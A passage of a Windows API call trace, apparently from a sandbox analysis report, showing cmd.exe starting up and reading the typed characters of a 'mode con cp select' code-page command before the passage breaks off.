Locale=0x409, LCType=0x32, lpLCData=0x7ff67d04bac0, cchData=32 | out: lpLCData="Tue") returned 4 [0256.048] GetLocaleInfoW (in: Locale=0x409, LCType=0x33, lpLCData=0x7ff67d04ba80, cchData=32 | out: lpLCData="Wed") returned 4 [0256.048] GetLocaleInfoW (in: Locale=0x409, LCType=0x34, lpLCData=0x7ff67d04ba40, cchData=32 | out: lpLCData="Thu") returned 4 [0256.048] GetLocaleInfoW (in: Locale=0x409, LCType=0x35, lpLCData=0x7ff67d04ba00, cchData=32 | out: lpLCData="Fri") returned 4 [0256.048] GetLocaleInfoW (in: Locale=0x409, LCType=0x36, lpLCData=0x7ff67d04b9c0, cchData=32 | out: lpLCData="Sat") returned 4 [0256.048] GetLocaleInfoW (in: Locale=0x409, LCType=0x37, lpLCData=0x7ff67d04b980, cchData=32 | out: lpLCData="Sun") returned 4 [0256.048] GetLocaleInfoW (in: Locale=0x409, LCType=0xe, lpLCData=0x7ff67d04bb58, cchData=8 | out: lpLCData=".") returned 2 [0256.048] GetLocaleInfoW (in: Locale=0x409, LCType=0xf, lpLCData=0x7ff67d04bb40, cchData=8 | out: lpLCData=",") returned 2 [0256.048] setlocale (category=0, locale=".OCP") returned="English_United States.437" [0256.049] GetProcessHeap () returned 0x229d1d70000 [0256.049] RtlAllocateHeap (HeapHandle=0x229d1d70000, Flags=0x0, Size=0x20c) returned 0x229d1d770f0 [0256.049] GetConsoleTitleW (in: lpConsoleTitle=0x229d1d770f0, nSize=0x104 | out: lpConsoleTitle="C:\\WINDOWS\\system32\\cmd.exe") returned 0x1c [0256.070] _get_osfhandle (_FileHandle=1) returned 0x254 [0256.070] GetFileType (hFile=0x254) returned 0x3 [0256.071] ApiSetQueryApiSetPresence () returned 0x0 [0256.072] ResolveDelayLoadedAPI () returned 0x7ffebedfd990 [0256.088] BrandingFormatString () returned 0x229d1d762f0 [0256.103] GetVersion () returned 0x3ad7000a [0256.103] _vsnwprintf (in: _Buffer=0xc37e9ffc40, _BufferCount=0x1f, _Format="%d.%d.%04d", _ArgList=0xc37e9ffbd8 | out: _Buffer="10.0.15063") returned 10 [0256.103] _get_osfhandle (_FileHandle=1) returned 0x254 [0256.103] GetFileType (hFile=0x254) returned 0x3 [0256.103] FormatMessageW (in: dwFlags=0x1a00, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff67d057f60, nSize=0x2000, Arguments=0x0 | out: lpBuffer="Microsoft Windows [Version %1]") returned 0x1e [0256.103] FormatMessageW (in: dwFlags=0x1800, lpSource=0x0, dwMessageId=0x2350, dwLanguageId=0x0, lpBuffer=0x7ff67d057f60, nSize=0x2000, Arguments=0xc37e9ffbe0 | out: lpBuffer="Microsoft Windows [Version 10.0.15063]") returned 0x26 [0256.103] _get_osfhandle (_FileHandle=1) returned 0x254 [0256.103] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="Microsoft Windows [Version 10.0.15063]", cchWideChar=-1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="Microsoft Windows [Version 10.0.15063]", lpUsedDefaultChar=0x0) returned 39 [0256.103] WriteFile (in: hFile=0x254, lpBuffer=0x7ff67d049970*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0xc37e9ffb38, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesWritten=0xc37e9ffb38*=0x26, lpOverlapped=0x0) returned 1 [0256.104] _vsnwprintf (in: _Buffer=0x7ff67d057f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xc37e9ffc08 | out: _Buffer="\r\n") returned 2 [0256.104] _get_osfhandle (_FileHandle=1) returned 0x254 [0256.104] GetFileType (hFile=0x254) returned 0x3 [0256.104] _get_osfhandle (_FileHandle=1) returned 0x254 [0256.104] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0256.104] WriteFile (in: hFile=0x254, lpBuffer=0x7ff67d049970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xc37e9ffbd8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesWritten=0xc37e9ffbd8*=0x2, lpOverlapped=0x0) returned 1 [0256.104] _vsnwprintf (in: _Buffer=0x7ff67d057f60, _BufferCount=0x1fff, _Format="%s", _ArgList=0xc37e9ffc08 | out: _Buffer="(c) 2017 Microsoft Corporation. All rights reserved.") returned 52 [0256.104] _get_osfhandle (_FileHandle=1) returned 0x254 [0256.104] GetFileType (hFile=0x254) returned 0x3 [0256.104] _get_osfhandle (_FileHandle=1) returned 0x254 [0256.104] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="(c) 2017 Microsoft Corporation. All rights reserved.", cchWideChar=-1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="(c) 2017 Microsoft Corporation. All rights reserved.", lpUsedDefaultChar=0x0) returned 53 [0256.104] WriteFile (in: hFile=0x254, lpBuffer=0x7ff67d049970*, nNumberOfBytesToWrite=0x34, lpNumberOfBytesWritten=0xc37e9ffbd8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesWritten=0xc37e9ffbd8*=0x34, lpOverlapped=0x0) returned 1 [0256.104] _vsnwprintf (in: _Buffer=0x7ff67d057f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xc37e9ffc08 | out: _Buffer="\r\n") returned 2 [0256.104] _get_osfhandle (_FileHandle=1) returned 0x254 [0256.104] GetFileType (hFile=0x254) returned 0x3 [0256.104] _get_osfhandle (_FileHandle=1) returned 0x254 [0256.104] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0256.104] WriteFile (in: hFile=0x254, lpBuffer=0x7ff67d049970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xc37e9ffbd8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesWritten=0xc37e9ffbd8*=0x2, lpOverlapped=0x0) returned 1 [0256.104] GetModuleHandleW (lpModuleName="KERNEL32.DLL") returned 0x7ffec1940000 [0256.104] GetProcAddress (hModule=0x7ffec1940000, lpProcName="CopyFileExW") returned 0x7ffec195e830 [0256.104] GetProcAddress (hModule=0x7ffec1940000, lpProcName="IsDebuggerPresent") returned 0x7ffec195e300 [0256.104] GetProcAddress (hModule=0x7ffec1940000, lpProcName="SetConsoleInputExeNameW") returned 0x7ffec08e0a40 [0256.104] ??_V@YAXPEAX@Z () returned 0x1 [0256.105] _get_osfhandle (_FileHandle=0) returned 0x248 [0256.105] GetFileType (hFile=0x248) returned 0x3 [0256.105] _setmode (_FileHandle=0, _Mode=32768) returned 16384 [0256.105] NtOpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0x8, OpenAsSelf=0, TokenHandle=0xc37e9ffa48 | out: TokenHandle=0xc37e9ffa48*=0x0) returned 0xc000007c [0256.105] NtOpenProcessToken (in: ProcessHandle=0xffffffffffffffff, DesiredAccess=0x8, TokenHandle=0xc37e9ffa48 | out: TokenHandle=0xc37e9ffa48*=0x94) returned 0x0 [0256.105] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x12, TokenInformation=0xc37e9ff9f8, TokenInformationLength=0x4, ReturnLength=0xc37e9ffa00 | out: TokenInformation=0xc37e9ff9f8, ReturnLength=0xc37e9ffa00) returned 0x0 [0256.106] NtQueryInformationToken (in: TokenHandle=0x94, TokenInformationClass=0x1a, TokenInformation=0xc37e9ffa00, TokenInformationLength=0x4, ReturnLength=0xc37e9ff9f8 | out: TokenInformation=0xc37e9ffa00, ReturnLength=0xc37e9ff9f8) returned 0x0 [0256.106] NtClose (Handle=0x94) returned 0x0 [0256.106] _vsnwprintf (in: _Buffer=0x7ff67d057f60, _BufferCount=0x1fff, _Format="\r\n", _ArgList=0xc37e9ff888 | out: _Buffer="\r\n") returned 2 [0256.106] _get_osfhandle (_FileHandle=1) returned 0x254 [0256.106] GetFileType (hFile=0x254) returned 0x3 [0256.107] _get_osfhandle (_FileHandle=1) returned 0x254 [0256.107] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="\r\n", cchWideChar=-1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n", lpUsedDefaultChar=0x0) returned 3 [0256.107] WriteFile (in: hFile=0x254, lpBuffer=0x7ff67d049970*, nNumberOfBytesToWrite=0x2, lpNumberOfBytesWritten=0xc37e9ff858, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesWritten=0xc37e9ff858*=0x2, lpOverlapped=0x0) returned 1 [0256.107] GetEnvironmentVariableW (in: lpName="PROMPT", lpBuffer=0x7ff67d04bb90, nSize=0x2000 | out: lpBuffer="$P$G") returned 0x4 [0256.107] GetCurrentDirectoryW (in: nBufferLength=0x7fe7, lpBuffer=0x229d1c70080 | out: lpBuffer="C:\\WINDOWS\\system32") returned 0x13 [0256.107] malloc (_Size=0x107ce) returned 0x229d1c80060 [0256.107] _vsnwprintf (in: _Buffer=0x229d1c80060, _BufferCount=0x83e5, _Format="%s", _ArgList=0xc37e9ff898 | out: _Buffer="C:\\WINDOWS\\system32") returned 19 [0256.107] _vsnwprintf (in: _Buffer=0x229d1c80086, _BufferCount=0x83d2, _Format="%c", _ArgList=0xc37e9ff898 | out: _Buffer=">") returned 1 [0256.107] _get_osfhandle (_FileHandle=1) returned 0x254 [0256.107] GetFileType (hFile=0x254) returned 0x3 [0256.107] _get_osfhandle (_FileHandle=1) returned 0x254 [0256.107] WideCharToMultiByte (in: CodePage=0x1b5, dwFlags=0x0, lpWideCharStr="C:\\WINDOWS\\system32>", cchWideChar=-1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=8192, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\WINDOWS\\system32>", lpUsedDefaultChar=0x0) returned 21 [0256.107] WriteFile (in: hFile=0x254, lpBuffer=0x7ff67d049970*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0xc37e9ff888, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesWritten=0xc37e9ff888*=0x14, lpOverlapped=0x0) returned 1 [0256.107] _get_osfhandle (_FileHandle=0) returned 0x248 [0256.107] GetFileType (hFile=0x248) returned 0x3 [0256.107] _get_osfhandle (_FileHandle=0) returned 0x248 [0256.108] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0256.108] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0256.108] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c30, cchWideChar=1 | out: lpWideCharStr="m") returned 1 [0256.108] _get_osfhandle (_FileHandle=0) returned 0x248 [0256.108] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0256.108] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0256.108] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c32, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0256.108] _get_osfhandle (_FileHandle=0) returned 0x248 [0256.108] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0256.108] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0256.108] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c34, cchWideChar=1 | out: lpWideCharStr="d") returned 1 [0256.108] _get_osfhandle (_FileHandle=0) returned 0x248 [0256.108] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0256.108] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0256.108] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c36, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0256.108] _get_osfhandle (_FileHandle=0) returned 0x248 [0256.108] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0256.108] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0256.108] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c38, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0256.108] _get_osfhandle (_FileHandle=0) returned 0x248 [0256.108] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0256.109] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0256.109] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c3a, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0256.109] _get_osfhandle (_FileHandle=0) returned 0x248 [0256.109] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0256.109] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0256.109] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c3c, cchWideChar=1 | out: lpWideCharStr="o") returned 1 [0256.109] _get_osfhandle (_FileHandle=0) returned 0x248 [0256.109] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0256.109] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0256.109] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c3e, cchWideChar=1 | out: lpWideCharStr="n") returned 1 [0256.109] _get_osfhandle (_FileHandle=0) returned 0x248 [0256.109] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0256.109] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0256.109] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c40, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0256.109] _get_osfhandle (_FileHandle=0) returned 0x248 [0256.109] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0256.109] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0256.109] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c42, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0256.109] _get_osfhandle (_FileHandle=0) returned 0x248 [0256.109] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0256.109] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0256.110] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c44, cchWideChar=1 | out: lpWideCharStr="p") returned 1 [0256.110] _get_osfhandle (_FileHandle=0) returned 0x248 [0256.110] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0256.110] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0256.110] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c46, cchWideChar=1 | out: lpWideCharStr=" ") returned 1 [0256.110] _get_osfhandle (_FileHandle=0) returned 0x248 [0256.110] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0256.110] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0256.110] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c48, cchWideChar=1 | out: lpWideCharStr="s") returned 1 [0256.110] _get_osfhandle (_FileHandle=0) returned 0x248 [0256.110] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0256.110] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0256.110] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c4a, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0256.110] _get_osfhandle (_FileHandle=0) returned 0x248 [0256.110] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0256.110] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0256.110] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c4c, cchWideChar=1 | out: lpWideCharStr="l") returned 1 [0256.110] _get_osfhandle (_FileHandle=0) returned 0x248 [0256.110] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0256.110] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0256.110] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c4e, cchWideChar=1 | out: lpWideCharStr="e") returned 1 [0256.110] _get_osfhandle (_FileHandle=0) returned 0x248 [0256.110] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0256.111] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0256.111] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c50, cchWideChar=1 | out: lpWideCharStr="c") returned 1 [0256.111] _get_osfhandle (_FileHandle=0) returned 0x248 [0256.111] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0256.111] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0256.111] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c52, cchWideChar=1 | out: lpWideCharStr="t") returned 1 [0256.111] _get_osfhandle (_FileHandle=0) returned 0x248 [0256.111] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0256.111] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0256.111] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c54, cchWideChar=1 | out: lpWideCharStr="=") returned 1 [0256.111] _get_osfhandle (_FileHandle=0) returned 0x248 [0256.111] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0256.111] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0256.111] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c56, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0256.111] _get_osfhandle (_FileHandle=0) returned 0x248 [0256.111] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0256.111] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0256.111] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c58, cchWideChar=1 | out: lpWideCharStr="2") returned 1 [0256.111] _get_osfhandle (_FileHandle=0) returned 0x248 [0256.111] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0256.111] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0256.112] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c5a, cchWideChar=1 | out: lpWideCharStr="5") returned 1 [0256.112] _get_osfhandle (_FileHandle=0) returned 0x248 [0256.112] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0256.112] ReadFile (in: hFile=0x248, lpBuffer=0x7ff67d049970, nNumberOfBytesToRead=0x1, lpNumberOfBytesRead=0xc37e9ffbe8, lpOverlapped=0x0 | out: lpBuffer=0x7ff67d049970*, lpNumberOfBytesRead=0xc37e9ffbe8*=0x1, lpOverlapped=0x0) returned 1 [0256.112] MultiByteToWideChar (in: CodePage=0x1b5, dwFlags=0x1, lpMultiByteStr=0x7ff67d049970, cbMultiByte=1, lpWideCharStr=0x7ff67d053c5c, cchWideChar=1 | out: lpWideCharStr="1") returned 1 [0256.112] _get_osfhandle (_FileHandle=0) returned 0x248 [0256.112] SetFilePointer (in: hFile=0x248, lDistanceToMove=0, 